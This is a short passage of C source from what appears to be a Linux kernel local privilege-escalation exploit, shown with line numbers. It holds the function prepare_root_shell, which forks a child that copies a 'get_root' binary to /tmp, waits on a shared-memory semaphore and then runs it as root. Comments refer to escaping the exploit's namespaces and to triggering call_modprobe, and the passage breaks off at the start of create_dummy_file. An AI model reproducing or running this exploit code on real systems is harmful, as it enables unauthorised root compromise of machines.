prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
| 284 | |
| 285 | // prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit |
| 286 | void prepare_root_shell(void) { |
| 287 | int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO); |
| 288 | shell_barrier = shmat(shmid, NULL, 0); |
| 289 | |
| 290 | if (sem_init(shell_barrier, 1, 0) < 0) |
| 291 | error("sem_init"); |
| 292 | |
| 293 | if (!fork()) { |
| 294 | system("cp get_root /tmp"); |
| 295 | sem_wait(shell_barrier); |
| 296 | system("/tmp/get_root"); |
| 297 | exit(EXIT_SUCCESS); |
| 298 | } |
| 299 | } |
| 300 | |
| 301 | // create_dummy_file(): Create a file to trigger call_modprobe in case of execution |
| 302 | void create_dummy_file(void) { |